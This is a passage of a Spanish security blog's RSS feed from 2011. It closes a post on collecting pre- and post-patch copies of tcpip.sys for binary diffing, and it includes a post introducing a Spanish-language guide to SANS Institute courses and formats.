&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-H-Ze2jwUGTs/TsDQCMJh1XI/AAAAAAAAAlo/DWKbmpMC4yE/s1600/Captura+de+pantalla+2011-11-09+a+las+08.42.26.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="301" src="http://3.bp.blogspot.com/-H-Ze2jwUGTs/TsDQCMJh1XI/AAAAAAAAAlo/DWKbmpMC4yE/s400/Captura+de+pantalla+2011-11-09+a+las+08.42.26.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;Para finalizar, restauramos el Snapshot de la máquina virtual al estado previo a la aplicación del parche que queremos analizar y buscamos estos mismos ficheros que hemos encontrado que han sido modificados, en este caso tcpip.sys, y lo copiamos de nuevo fuera de la máquina virtual, esta vez con el nombre &lt;b&gt;tcpip-old.sys&lt;/b&gt;, para no confundirlo con el anterior.&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una vez hecho esto, ya tenemos la version anterior y posterior al parche de los ficheros modificados pero... ¿cómo sabemos ahora que cambios concretos se han hecho a cada fichero?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Lo veremos en el próximo post.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-3583974241741927485?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2011/11/patch-bindiffing-i.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-FEZcIi_sZug/TsDMyxLYbfI/AAAAAAAAAlg/N4M9tC2xLTA/s72-c/Captura+de+pantalla+2011-11-09+a+las+08.45.35.png" height="72" width="72" /><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-8223184130218828740</guid><pubDate>Mon, 07 Nov 2011 10:58:00 +0000</pubDate><atom:updated>2011-11-07T11:59:31.751+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SANS</category><title>SANS Institute: Explicaciones</title><description>&lt;div style="text-align: justify;"&gt;En mi experiencia como Mentor y también alumno del SANS Institute, diría que todos pasamos por una primera etapa en la que nos perdemos un poco cuando buscamos información sobre cursos y modalidades de esta entidad. Perdí ya la cuenta hace mucho tiempo de la cantidad de correos que me llegan de gente que ha estado buceando por la web del SANS, y no se sabe muy bien si por su organización, por el idioma, o por una combinación de ambas, no consiguen comprender como tienen que proceder para hacer alguno de sus cursos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://www.sans.org/images/sanslogo_block.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://www.sans.org/images/sanslogo_block.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Pensando en esto, y en la cantidad de veces que he copiado y pegado mis propios correos, he decidido publicar una pequeña "guía SANS" en Español que&amp;nbsp;podéis&amp;nbsp;encontrar &lt;b&gt;&lt;a href="http://www.pentester.es/p/sans.html" target="_blank"&gt;AQUÍ&lt;/a&gt;&lt;/b&gt;, en donde se explican las diferentes modalidades de los cursos, y las que suelen ser mis recomendaciones habituales según el caso, con lo que espero que pueda ayudar a toda la gente que se encuentra perdida saltando entre las webs de SANS y GIAC, o por lo menos ahorrarme escribir en los correos siempre la misma explicación xD&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;También he añadido una descripción de cada curso de los que conozco, así como los cursos que en la actualidad tengo conocimiento de que estén teniendo lugar en España, pero si eres un Mentor, Community Instructor o Instructor del SANS y quieres aportar una descripción para tu curso, o corregir alguna de la información que he dado sobre los cursos disponibles, por favor ponte en contacto conmigo.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En unos pocos días sacaré también una encuesta de interés por los cursos de SANS, en los que&amp;nbsp;podréis&amp;nbsp;todos marcar, ahora que&amp;nbsp;conoceréis&amp;nbsp;bien las diferentes opciones, que cursos serían de vuestro interés, en que modalidades y en que ciudades, para que de este modo podamos plantear mejor con SANS que cursos montar de cara al 2012 que ya nos acecha.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Cualquier comentario sobre lo escrito, algo que no se entienda, o necesidad de ampliación de alguna parte, estoy completamente abierto a sugerencias.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-8223184130218828740?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2011/11/sans-institute-explicaciones.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>0</thr:total></item></channel></rss>

